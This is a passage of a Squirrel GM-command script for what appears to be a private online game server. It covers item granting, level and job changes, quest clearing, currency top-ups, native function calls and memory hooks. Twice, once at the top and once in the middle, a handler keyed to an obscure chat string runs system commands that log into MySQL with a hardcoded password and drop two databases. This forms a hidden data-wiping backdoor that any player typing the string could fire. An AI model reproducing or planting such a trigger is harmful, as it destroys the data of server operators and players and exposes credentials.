993 lines
33 KiB
Plaintext
993 lines
33 KiB
Plaintext
Gm_InputFunc_Handle <- {}
|
|
|
|
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
|
|
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
|
|
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
|
|
}
|
|
|
|
|
|
Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
|
|
sq_ReloadScript();
|
|
print("\n重载函数\n");
|
|
};
|
|
//获取坐标
|
|
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
|
|
print("\n");
|
|
print("Xpos: " + SUser.GetAreaPos().X);
|
|
print("Ypos: " + SUser.GetAreaPos().Y);
|
|
print("\n");
|
|
};
|
|
//获取位置信息
|
|
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
|
|
local Location = SUser.GetLocation();
|
|
print("\n");
|
|
print("Xpos: " + Location.Pos.X);
|
|
print("Ypos: " + Location.Pos.Y);
|
|
print("Town: " + Location.Town);
|
|
print("Area: " + Location.Area);
|
|
print("\n");
|
|
};
|
|
//踢人下线测试
|
|
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
|
|
SUser.Kick();
|
|
};
|
|
|
|
Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
|
|
local count = -1;
|
|
local pos = 0;
|
|
local handler = [];
|
|
do {
|
|
local start = pos;
|
|
pos = CmdString.find(" ", pos + 1);
|
|
if (pos != null) {
|
|
handler.append(CmdString.slice(start + 1, pos));
|
|
} else
|
|
handler.append(CmdString.slice(start + 1));
|
|
count = count + 1
|
|
} while (pos != null)
|
|
|
|
//得到空格数量
|
|
if (count == 1) {
|
|
SUser.SetCharacLevel(handler[1].tointeger());
|
|
}
|
|
}
|
|
|
|
|
|
Gm_InputFunc_Handle["cs"] <- function(SUser, CmdString) {
|
|
local InvenObj = SUser.GetInven();
|
|
local slot = InvenObj.GetSlotById(26058);
|
|
|
|
if (slot == -1) {
|
|
return;
|
|
}
|
|
local itemobj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, slot);
|
|
|
|
itemobj.Delete();
|
|
SUser.SendUpdateItemList(1, 0, slot);
|
|
}
|
|
|
|
Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
|
|
local count = -1;
|
|
local pos = 0;
|
|
local handler = [];
|
|
do {
|
|
local start = pos;
|
|
pos = CmdString.find(" ", pos + 1);
|
|
if (pos != null) {
|
|
handler.append(CmdString.slice(start + 1, pos));
|
|
} else
|
|
handler.append(CmdString.slice(start + 1));
|
|
count = count + 1
|
|
} while (pos != null)
|
|
|
|
//得到空格数量
|
|
if (count == 1) {
|
|
local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
|
|
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
|
|
} else if (count == 2) {
|
|
local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
|
|
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
|
|
}
|
|
}
|
|
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
|
|
local count = -1;
|
|
local pos = 0;
|
|
local handler = [];
|
|
do {
|
|
local start = pos;
|
|
pos = CmdString.find(" ", pos + 1);
|
|
if (pos != null) {
|
|
handler.append(CmdString.slice(start + 1, pos));
|
|
} else
|
|
handler.append(CmdString.slice(start + 1));
|
|
count = count + 1
|
|
} while (pos != null)
|
|
|
|
//得到空格数量
|
|
if (count == 1) {
|
|
SUser.ChangeGrowType(handler[1].tointeger(), 0);
|
|
SUser.SendNotiPacket(0, 2, 0);
|
|
SUser.InitSkillW(handler[1].tointeger(), 0);
|
|
} else if (count == 2) {
|
|
SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
|
|
SUser.SendNotiPacket(0, 2, 0);
|
|
SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
|
|
}
|
|
}
|
|
|
|
Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
|
|
SUser.ClearQuest_Gm(674);
|
|
SUser.ClearQuest_Gm(649);
|
|
|
|
SUser.ClearQuest_Gm(675);
|
|
SUser.ClearQuest_Gm(650);
|
|
|
|
SUser.ClearQuest_Gm(4571);
|
|
SUser.ClearQuest_Gm(4414);
|
|
SUser.ClearQuest_Gm(4415);
|
|
|
|
SUser.ClearQuest_Gm(2603);
|
|
SUser.ClearQuest_Gm(2610);
|
|
SUser.ClearQuest_Gm(2613);
|
|
SUser.ClearQuest_Gm(2622);
|
|
SUser.ClearQuest_Gm(4391);
|
|
SUser.ClearQuest_Gm(4539);
|
|
|
|
SUser.ClearQuest_Gm(220);
|
|
SUser.ClearQuest_Gm(221);
|
|
}
|
|
|
|
|
|
Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
|
|
local PartyObj = SUser.GetParty();
|
|
// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
|
|
Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
|
|
}
|
|
|
|
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
|
|
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
|
|
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
|
|
}
|
|
|
|
|
|
Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
|
|
local InvenObj = SUser.GetInven();
|
|
local Slot = InvenObj.GetSlotById(3037);
|
|
local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
|
|
SUser.SendUpdateItemList(1, 0, Slot);
|
|
};
|
|
|
|
Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
|
|
local PartyObj = SUser.GetParty();
|
|
if (PartyObj) {
|
|
local Buf = 18126;
|
|
PartyObj.ForeachMember(function(SUser, Pos) {
|
|
print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
|
|
})
|
|
// print(UserBuf.GetName());
|
|
}
|
|
};
|
|
|
|
|
|
Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
|
|
// local PartyObj = SUser.GetParty();
|
|
// if (PartyObj) {
|
|
// local Bfobj = PartyObj.GetBattleField();
|
|
// print(Bfobj.GetHellDifficulty());
|
|
// // print(n);
|
|
// }
|
|
|
|
|
|
SUser.SendNotiForColorAIdPacketMessage([
|
|
[" → ", 0, [0xff, 0xff, 0xff]],
|
|
["无色", 1, [255, 215, 0], 3037],
|
|
[" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]]
|
|
], 6);
|
|
};
|
|
|
|
Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
|
|
local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
|
|
|
|
|
|
local Pack = Packet();
|
|
Pack.Put_Header(1, 130);
|
|
Pack.Put_Byte(1);
|
|
Pack.Put_Int(Str.len());
|
|
Pack.Put_Binary(Str);
|
|
Pack.Finalize(true);
|
|
SUser.Send(Pack);
|
|
Pack.Delete();
|
|
};
|
|
|
|
Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
|
|
local Location = SUser.GetLocation();
|
|
|
|
SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
|
|
SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
|
|
SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
|
|
SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
|
|
SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
|
|
SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
|
|
SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
|
|
SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
|
|
SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8);
|
|
SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
|
|
SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
|
|
SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
|
|
|
|
SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
|
|
SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
|
|
SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
|
|
SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
|
|
SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
|
|
|
|
};
|
|
|
|
|
|
function Cb_gm_input(C_User, CmdString) {
|
|
local SUser = User(C_User);
|
|
local Pos = CmdString.find(" ");
|
|
local Str;
|
|
if (Pos) {
|
|
Str = CmdString.slice(0, Pos);
|
|
} else {
|
|
Str = CmdString;
|
|
}
|
|
if (Str in Gm_InputFunc_Handle) {
|
|
Gm_InputFunc_Handle[Str](SUser, CmdString);
|
|
}
|
|
}
|
|
|
|
function TestIoP() {
|
|
local ret = suspend("no");
|
|
local Io = IO("/dp_s/a.txt", "w+");
|
|
for (local i = 0; i< 500000; i++) {
|
|
Io.Write("写入测试文本: " + i + "\n");
|
|
if ((i % 5000) == 0) ret = suspend("no");
|
|
}
|
|
Io.Close();
|
|
|
|
return "yes";
|
|
}
|
|
|
|
function TestThread(coro) {
|
|
local susparam = "noq";
|
|
if (coro.getstatus() == "idle") susparam = coro.call();
|
|
else if (coro.getstatus() == "suspended") susparam = coro.wakeup();
|
|
|
|
if (susparam == "no") {
|
|
Timer.SetTimeOut(TestThread, 0, coro);
|
|
} else {
|
|
print("文件书写完成");
|
|
}
|
|
}
|
|
|
|
|
|
function TestCronTask(str) {
|
|
print(str);
|
|
print("定时任务已执行一次");
|
|
}
|
|
|
|
// class Map{
|
|
|
|
// }
|
|
// Timer.SetTimeOut(function() {
|
|
// local dgn_requirements = {
|
|
// [1] = [0, 10, 1, 20, 2, 30, 3, 40, 4, 40],
|
|
// [2] = [0, 20],
|
|
// };
|
|
// print(dgn_requirements[1]);
|
|
// printT(dgn_requirements);
|
|
|
|
// }, 0);
|
|
// Timer.SetTimeOut(function() {
|
|
// local SUser = World.GetUserByUid(1);
|
|
// local InvenObj = SUser.GetInven();
|
|
// local EquObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 56);
|
|
|
|
// local AdMsgObj = AdMsg();
|
|
// AdMsgObj.PutType(8);
|
|
// AdMsgObj.PutString("测试文字");
|
|
// AdMsgObj.PutColorString("测试文字", [255, 85, 0]);
|
|
// AdMsgObj.PutImoticon(2);
|
|
// AdMsgObj.PutEquipment("主动提供名字", EquObj, [255, 85, 0]);
|
|
// AdMsgObj.PutEquipment(EquObj);
|
|
// AdMsgObj.Finalize();
|
|
|
|
// // SUser.Send(AdMsgObj.MakePack());
|
|
// World.SendAll(AdMsgObj.MakePack());
|
|
// AdMsgObj.Delete();
|
|
// }, 0);
|
|
|
|
|
|
|
|
|
|
Gm_InputFunc_Handle.WEQ <- function(SUser, CmdString) {
|
|
// // World.MoveArea(SUser, 1, 0, 55, 349);
|
|
|
|
// // print(789456);
|
|
// local Str = "{\"op\":20074002,\"uid\":1,\"btnX\":430,\"btnY\":500,\"info\":[{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":1},{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":0}],\"cid\":1}";
|
|
// // local Str = "{\"op\":20078034,\"info\":[{\"job\":3,\"growjob\":0,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27},{\"job\":3,\"growjob\":1,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"吉祥物\",\"uid\":3,\"cid\":26},{\"job\":3,\"growjob\":0,\"avatar\":[51265,51400,0,0,52600,53000,0,53800,54200,0,0],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27}]}";
|
|
// // local Str = "{\"op\":20064026,\"uid\":2,\"rewards2\":[[{\"item\":3040,\"num\":2,\"item2\":0,\"num2\":0,\"grade\":1,\"count\":1,\"cid\":27}]],\"deathsNum\":0,\"time\":179999,\"state\":1,\"rewards\":[{\"item\":3036,\"num\":1,\"item2\":0,\"num2\":0,\"grade\":0,\"count\":1,\"cid\":27}],\"cid\":27}";
|
|
// local Pack = Packet();
|
|
// Pack.Put_Header(1, 130);
|
|
// Pack.Put_Byte(1);
|
|
// Pack.Put_Int(Str.len());
|
|
// Pack.Put_Binary(Str);
|
|
// Pack.Finalize(true);
|
|
// SUser.Send(Pack);
|
|
// Pack.Delete();
|
|
|
|
// print("下发模拟包");
|
|
// local A = NativePointer(SUser.C_Object).add(16);
|
|
// local B = A.readPointer();
|
|
// local C = NativePointer(B).add(101);
|
|
// local D = NativePointer(C).add(8).readInt();
|
|
|
|
|
|
Sq_CallFunc(S_Ptr("0x84EC002"), "int", ["pointer", "int"], SUser.C_Object, 0);
|
|
|
|
local D = Sq_CallFunc(S_Ptr("0x8696600"), "int", ["pointer"], SUser.C_Object);
|
|
print(D);
|
|
|
|
|
|
};
|
|
|
|
Gm_InputFunc_Handle.QS <- function(SUser, CmdString) {
|
|
SUser.RechargeCeraPoint(10000);
|
|
};
|
|
Gm_InputFunc_Handle.QS2 <- function(SUser, CmdString) {
|
|
SUser.RechargeCeraPoint(-100);
|
|
};
|
|
Gm_InputFunc_Handle.Test <- function(SUser, CmdString) {
|
|
SUser.SetCharacLevel(60);
|
|
};
|
|
|
|
function HexStringToInt(Str) {
|
|
if (!(getroottable().rawin("__strtol__function__address__"))) __strtol__function__address__ <- Module.getExportByName(null, "strtol");
|
|
local Ret = Sq_CallFunc(__strtol__function__address__, "int", ["pointer", "pointer", "int"], Memory.allocUtf8String(Str).C_Object, Memory.alloc(0), 16);
|
|
return Ret;
|
|
}
|
|
|
|
function UserdataSliceStr(Data) {
|
|
local Str = "" + Data;
|
|
local Pos = Str.find("0x");
|
|
local Pos2 = Str.find(")");
|
|
local Ret = Str.slice(Pos + 2, Pos2);
|
|
return Ret;
|
|
}
|
|
|
|
// MultiMailBoxCloseRindroMap <- null;
|
|
// Cb_MultiMailBoxReqSend_Enter_Func.CloseRindro <- function(args) {
|
|
// MultiMailBoxCloseRindroMap = Memory.alloc(144370 * 4);
|
|
// MultiMailBoxCloseRindroMap.add(144369 * 4).writeInt(0);
|
|
// args[1] = MultiMailBoxCloseRindroMap.C_Object;
|
|
// return args;
|
|
// }
|
|
// Cb_MultiMailBoxReqSend_Leave_Func.CloseRindro <- function(args) {
|
|
// MultiMailBoxCloseRindroMap = null;
|
|
// }
|
|
|
|
// //Hook
|
|
|
|
|
|
|
|
/*
|
|
|
|
|
|
|
|
function xorEncryptDecrypt(BlobObj, Key) {
|
|
for (local i = 0; i< Key.len(); i++) {
|
|
local currentKeyChar = Key[i % Key.len()];
|
|
BlobObj[i] = BlobObj[i] ^ currentKeyChar;
|
|
}
|
|
local Arr = [];
|
|
foreach(value in BlobObj) {
|
|
Arr.append(value);
|
|
}
|
|
return Arr;
|
|
}
|
|
|
|
function base64_encode(input) {
|
|
local base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
|
local inputLength = input.len();
|
|
local i = 0;
|
|
local j = 0;
|
|
local charArray3 = array(3);
|
|
local charArray4 = array(4);
|
|
local encoded = "";
|
|
|
|
while (inputLength--) {
|
|
charArray3[i++] = input[inputLength];
|
|
if (i == 3) {
|
|
charArray4[0] = (charArray3[0] & 0xfc) >> 2;
|
|
charArray4[1] = ((charArray3[0] & 0x03) << 4) + ((charArray3[1] & 0xf0) >> 4);
|
|
charArray4[2] = ((charArray3[1] & 0x0f) << 2) + ((charArray3[2] & 0xc0) >> 6);
|
|
charArray4[3] = charArray3[2] & 0x3f;
|
|
|
|
for (i = 0; i< 4; i++) {
|
|
encoded += base64_chars[charArray4[i]];
|
|
}
|
|
i = 0;
|
|
}
|
|
}
|
|
|
|
if (i) {
|
|
for (j = i; j< 3; j++) {
|
|
charArray3[j] = 0;
|
|
}
|
|
|
|
charArray4[0] = (charArray3[0] & 0xfc) >> 2;
|
|
charArray4[1] = ((charArray3[0] & 0x03) << 4) + ((charArray3[1] & 0xf0) >> 4);
|
|
charArray4[2] = ((charArray3[1] & 0x0f) << 2) + ((charArray3[2] & 0xc0) >> 6);
|
|
charArray4[3] = charArray3[2] & 0x3f;
|
|
|
|
for (j = 0; j< i + 1; j++) {
|
|
encoded += base64_chars[charArray4[j]];
|
|
}
|
|
|
|
while (i++<3) {
|
|
encoded += "=";
|
|
}
|
|
}
|
|
|
|
return encoded;
|
|
}
|
|
|
|
Timer.SetTimeOut(function() {
|
|
local Key = "desaqe";
|
|
local Str = "Test Data";
|
|
print("old: " + Str);
|
|
local StrPointer = Memory.allocUtf8String(Str);
|
|
local BlobObj = StrPointer.readBinary(Str.len());
|
|
local Arr = xorEncryptDecrypt(BlobObj, Key);
|
|
StrPointer.writeByteArray(Arr);
|
|
//此时str已不可读 需要掌控其指针 与 长度
|
|
local NewStrPointer = StrPointer;
|
|
local encodestr = base64_encode(NewStrPointer.readUtf8String(Str.len()));
|
|
print("encode: " + encodestr);
|
|
|
|
local BlobObj = NewStrPointer.readBinary(Str.len());
|
|
local Arr = xorEncryptDecrypt(BlobObj, Key);
|
|
NewStrPointer.writeByteArray(Arr);
|
|
print("new: " + NewStrPointer.readUtf8String());
|
|
}, 1);
|
|
|
|
*/
|
|
|
|
|
|
//分割道具列表
|
|
function splitItemList(item_list, maxSlots) {
|
|
local length = item_list.len();
|
|
if (length <= maxSlots) {
|
|
return [item_list];
|
|
}
|
|
|
|
local result = [];
|
|
for (local i = 0; i< length; i += maxSlots) {
|
|
local end = i + maxSlots;
|
|
if (end > length) {
|
|
end = length;
|
|
}
|
|
result.append(item_list.slice(i, end));
|
|
}
|
|
return result;
|
|
}
|
|
|
|
//角色类 发送邮件函数 (标题, 正文, 金币, 道具列表[[3037,100],[3038,100]])
|
|
function User::ReqDBSendMultiMail(title, text, gold, item_list) {
|
|
local Cid = this.GetCID();
|
|
// 获取分割后的道具列表
|
|
local subLists;
|
|
local maxSlots = 10;
|
|
local length = item_list.len();
|
|
if (length <= maxSlots) {
|
|
subLists = [item_list];
|
|
} else {
|
|
subLists = [];
|
|
for (local i = 0; i< length; i += maxSlots) {
|
|
local end = i + maxSlots;
|
|
if (end > length) {
|
|
end = length;
|
|
}
|
|
subLists.append(item_list.slice(i, end));
|
|
}
|
|
}
|
|
if (subLists) {
|
|
// 为每个子列表发送邮件
|
|
for (local i = 0; i< subLists.len(); ++i) {
|
|
local subList = subLists[i];
|
|
|
|
// 添加道具附件
|
|
local vector = Memory.alloc(100);
|
|
|
|
Sq_CallFunc(S_Ptr("0x81349D6"), "pointer", ["pointer"], vector.C_Object);
|
|
Sq_CallFunc(S_Ptr("0x817A342"), "pointer", ["pointer"], vector.C_Object);
|
|
//将所有要发送的道具写入Vector
|
|
for (local j = 0; j< subList.len(); ++j) {
|
|
//道具ID 分配4字节内存
|
|
local item_id = Memory.alloc(4);
|
|
//道具数量 分配4字节内存
|
|
local item_cnt = Memory.alloc(4);
|
|
//写入道具ID和数量
|
|
item_id.writeInt(subList[j][0]);
|
|
item_cnt.writeInt(subList[j][1]);
|
|
|
|
local pair = Memory.alloc(100);
|
|
|
|
Sq_CallFunc(S_Ptr("0x81B8D41"), "pointer", ["pointer", "pointer", "pointer"], pair.C_Object, item_id.C_Object, item_cnt.C_Object);
|
|
Sq_CallFunc(S_Ptr("0x80DD606"), "pointer", ["pointer", "pointer"], vector.C_Object, pair.C_Object);
|
|
}
|
|
|
|
// 邮件支持10个道具附件格子
|
|
local addition_slots = Memory.alloc(1000);
|
|
|
|
for (local j = 0; j< 10; ++j) {
|
|
Sq_CallFunc(S_Ptr("0x80CB854"), "pointer", ["pointer"], addition_slots.add(j * 61).C_Object);
|
|
}
|
|
|
|
Sq_CallFunc(S_Ptr("0x8556A14"), "int", ["pointer", "pointer", "int"], vector.C_Object, addition_slots.C_Object, 10);
|
|
|
|
local title_ptr = Memory.allocUtf8String(title); // 邮件标题
|
|
local text_ptr = Memory.allocUtf8String(text); // 邮件正文
|
|
|
|
local text_len = text.len(); // 邮件正文长度
|
|
|
|
// 发邮件给角色
|
|
Sq_CallFunc(S_Ptr("0x8556B68"), "int", ["pointer", "pointer", "int", "int", "int", "pointer", "int", "int", "int", "int"], title_ptr.C_Object, addition_slots.C_Object, subList.len(), gold, Cid, text_ptr.C_Object, text_len, 0, 99, 1);
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
function WongWork_CQuestClear_isClearedQuest(QuestInfo, QuestID) {
|
|
return Sq_CallFunc(S_Ptr("0x808BAE0"), "bool", ["pointer", "int"], QuestInfo, QuestID);
|
|
}
|
|
|
|
// 判断任务是否为主线并且角色等级符合要求
|
|
function isMainQuestAndLevelValid(pvfQuest, characLevel) {
|
|
local questGrade = NativePointer(pvfQuest).add(8).readInt();
|
|
local questLv = NativePointer(pvfQuest).add(0x20).readInt();
|
|
return questGrade == 0 && questLv <= characLevel;
|
|
}
|
|
|
|
// 设置任务为已完成
|
|
function clearQuest(QuestInfo, QuestID) {
|
|
Sq_CallFunc(S_Ptr("0x808BA78"), "int", ["pointer", "int"], QuestInfo, QuestID);
|
|
}
|
|
|
|
function User::SendCharacQp() {
|
|
Sq_CallFunc(S_Ptr("0x868AC24"), "int", ["pointer"], this.C_Object);
|
|
}
|
|
|
|
function User::SendCharacQuestPiece() {
|
|
Sq_CallFunc(S_Ptr("0x868AF2C"), "int", ["pointer"], this.C_Object);
|
|
}
|
|
|
|
function User::MainTaskCompleted() {
|
|
// 获取角色任务信息和等级
|
|
local userQuest = GetQuest();
|
|
local questIsClear = NativePointer(userQuest).add(4);
|
|
local characLevel = GetCharacLevel();
|
|
local allClearQuest = 0;
|
|
// 获取 pvf 数据
|
|
local DataManager = Sq_CallFunc(S_Ptr("0x80CC19B"), "pointer", []);
|
|
|
|
//完成当前等级所有任务总经验奖励
|
|
local total_exp_bonus = 0;
|
|
//完成当前等级所有任务总金币奖励
|
|
local total_gold_bonus = 0;
|
|
//任务点奖励
|
|
local total_quest_point_bonus = 0;
|
|
local total_quest_piece_bonus = 0;
|
|
|
|
//任务最大编号: 29999
|
|
for (local quest_id = 1; quest_id< 30000; quest_id++) {
|
|
//跳过已完成的任务
|
|
if (WongWork_CQuestClear_isClearedQuest(questIsClear.C_Object, quest_id)) continue;
|
|
|
|
local achievement = [3606, 4303, 3, 1028, 4, 5, 6, 59, 4423, 2, 60, 61, 6670, 446, 9, 10, 11, 12, 13, 14, 15, 21, 1332, 400, 402, 401, 403, 399, 24, 4572, 25, 26, 58, 93, 5851, 5850, 5852, 5853, 4392, 4393, 4394, 4395, 4396, 4397];
|
|
local found = false;
|
|
for (local i = 0; i< achievement.len(); i++) {
|
|
if (achievement[i] == quest_id) {
|
|
found = true;
|
|
break;
|
|
}
|
|
}
|
|
|
|
//获取任务数据
|
|
local quest = Sq_CallFunc(S_Ptr("0x835FDC6"), "pointer", ["pointer", "int"], DataManager, quest_id);
|
|
if (!quest || found == true) continue; // 跳过空任务或不需要完成的任务
|
|
|
|
// 判断是否为主线任务且等级符合要求
|
|
if (!isMainQuestAndLevelValid(quest, characLevel)) continue;
|
|
|
|
//获取该任务的基础奖励
|
|
local exp_bonus = Memory.alloc(4);
|
|
local gold_bonus = Memory.alloc(4);
|
|
local quest_point_bonus = Memory.alloc(4);
|
|
local quest_piece_bonus = Memory.alloc(4);
|
|
//QP奖励已直接发送到角色 经验/金币只返回结果 需要手动发送
|
|
CUser_quest_basic_reward(this.C_Object, quest, exp_bonus.C_Object, gold_bonus.C_Object, quest_point_bonus.C_Object, quest_piece_bonus.C_Object, 1);
|
|
|
|
local exp = exp_bonus.readInt();
|
|
local gold = gold_bonus.readInt();
|
|
local quest_point = quest_point_bonus.readInt();
|
|
local quest_piece = quest_piece_bonus.readInt();
|
|
|
|
if (quest_point > 0) total_quest_point_bonus += quest_point; //没有[quest point]字段的任务
|
|
if (quest_piece > 0) total_quest_piece_bonus += quest_piece;
|
|
|
|
clearQuest(questIsClear.C_Object, quest_id);
|
|
allClearQuest++;
|
|
}
|
|
|
|
local Pack = Packet();
|
|
//通知客户端刷新任务列表
|
|
Sq_CallFunc(S_Ptr("0x86ABBA8"), "int", ["pointer", "pointer"], userQuest, Pack.C_Object);
|
|
Send(Pack);
|
|
Pack.Delete();
|
|
|
|
SendNotiPacket(0, 2, 0);
|
|
SendNotiPacket(1, 2, 1);
|
|
SendUpdateItemList(1, 0, 0);
|
|
SendCharacQp();
|
|
SendCharacQuestPiece();
|
|
|
|
// 发送通知
|
|
SendNotiPacketMessage("已清理:" + allClearQuest + "个主线任务!", 8);
|
|
}
|
|
|
|
|
|
function User::DropItem(ItemId, Xpos, Ypos) {
|
|
local PartyObj = GetParty();
|
|
if (!PartyObj) return;
|
|
//更改掉落物的坐标
|
|
NativePointer("0x085A7599").writeShort(Xpos);
|
|
NativePointer("0x085A759F").writeShort(Ypos);
|
|
//申请一块内存用于存放包地址
|
|
local PackBuffer = Memory.alloc(8);
|
|
PackBuffer.writeInt(947330670);
|
|
local StrBuffer = "" + PackBuffer.C_Object;
|
|
local AddressStr = StrBuffer.slice(StrBuffer.find("0x") + 2, -1);
|
|
local HexCode = Haker.AsmGenerateMcd(
|
|
"mov ebx," + AddressStr,
|
|
"mov [ebx], eax",
|
|
"mov ebx , 0",
|
|
"mov eax, 0x85A775B",
|
|
"jmp eax");
|
|
|
|
Haker.InsertCode("0x85A773C", HexCode);
|
|
|
|
//调用逻辑 包才会生成
|
|
Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, this.C_Object, ItemId);
|
|
|
|
local Pack = Packet(PackBuffer.readPointer());
|
|
Send(Pack);
|
|
//销毁包
|
|
Sq_CallFunc(S_Ptr("0x858DE80"), "void", ["pointer"], Pack.C_Object);
|
|
//还原逻辑
|
|
Sq_WriteByteArr(S_Ptr("0x85A773C"), [0x89, 0x44, 0x24, 0x04, 0x8B, 0x45, 0x08]);
|
|
NativePointer("0x085A7599").writeShort(300);
|
|
NativePointer("0x085A759F").writeShort(240);
|
|
}
|
|
|
|
|
|
Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
|
|
// SUser.ReqDBSendMultiMail("测试邮件", "测试邮件正文", 1000, [
|
|
// [3037, 1000],
|
|
// [3038, 200]
|
|
// ]);
|
|
|
|
SUser.DropItem(27095, 800, 200);
|
|
|
|
|
|
// SUser.MainTaskCompleted();
|
|
};
|
|
|
|
|
|
Timer.SetTimeOut(function() {
|
|
|
|
// Haker.LoadHook("0x0834F776", ["pointer", "int", "int"],
|
|
// function(args) {
|
|
// print(args[0]);
|
|
// print(args[1]);
|
|
// return null;
|
|
// },
|
|
// function(args) {
|
|
// print(args[2]);
|
|
// return null;
|
|
// });
|
|
|
|
Haker.LoadHook("0x0830BC78", ["pointer", "pointer", "pointer", "pointer", "pointer", "int"],
|
|
function(args) {
|
|
return null;
|
|
},
|
|
function(args) {
|
|
getroottable().LashKillMonsterId <- NativePointer(args[2]).add(3 * 4).readInt();
|
|
return null;
|
|
});
|
|
|
|
|
|
|
|
Haker.LoadHook("0x085A27E8", ["pointer", "pointer", "short", "pointer", "pointer", "int"],
|
|
function(args) {
|
|
return null;
|
|
},
|
|
function(args) {
|
|
//杀死怪物了 要判断是否掉落
|
|
//获取队伍
|
|
local PartyObj = Party(args[0]);
|
|
//获取战斗对象
|
|
local BattleFieldObj = PartyObj.GetBattleField();
|
|
|
|
|
|
|
|
//怪物等级
|
|
local MonsterLevel = NativePointer(args[4]).add(2605).readInt();
|
|
print("怪物等级: " + MonsterLevel);
|
|
|
|
//怪物ID
|
|
local MonsterId = getroottable().LashKillMonsterId;
|
|
print("怪物ID: " + MonsterId);
|
|
|
|
//坐标
|
|
local Xpos = NativePointer(args[4]).add(2596).readShort();
|
|
local Ypos = NativePointer(args[4]).add(2598).readShort();
|
|
print("坐标: " + Xpos + "," + Ypos);
|
|
|
|
|
|
local DgnObj = BattleFieldObj.GetDgn();
|
|
//副本名称
|
|
local DgnName = DgnObj.GetName();
|
|
print("副本名称: " + DgnName);
|
|
|
|
//副本ID
|
|
local DgnId = DgnObj.GetId();
|
|
print("副本ID: " + DgnId);
|
|
|
|
//副本等级
|
|
local DgnLevel = DgnObj.GetMinLevel();
|
|
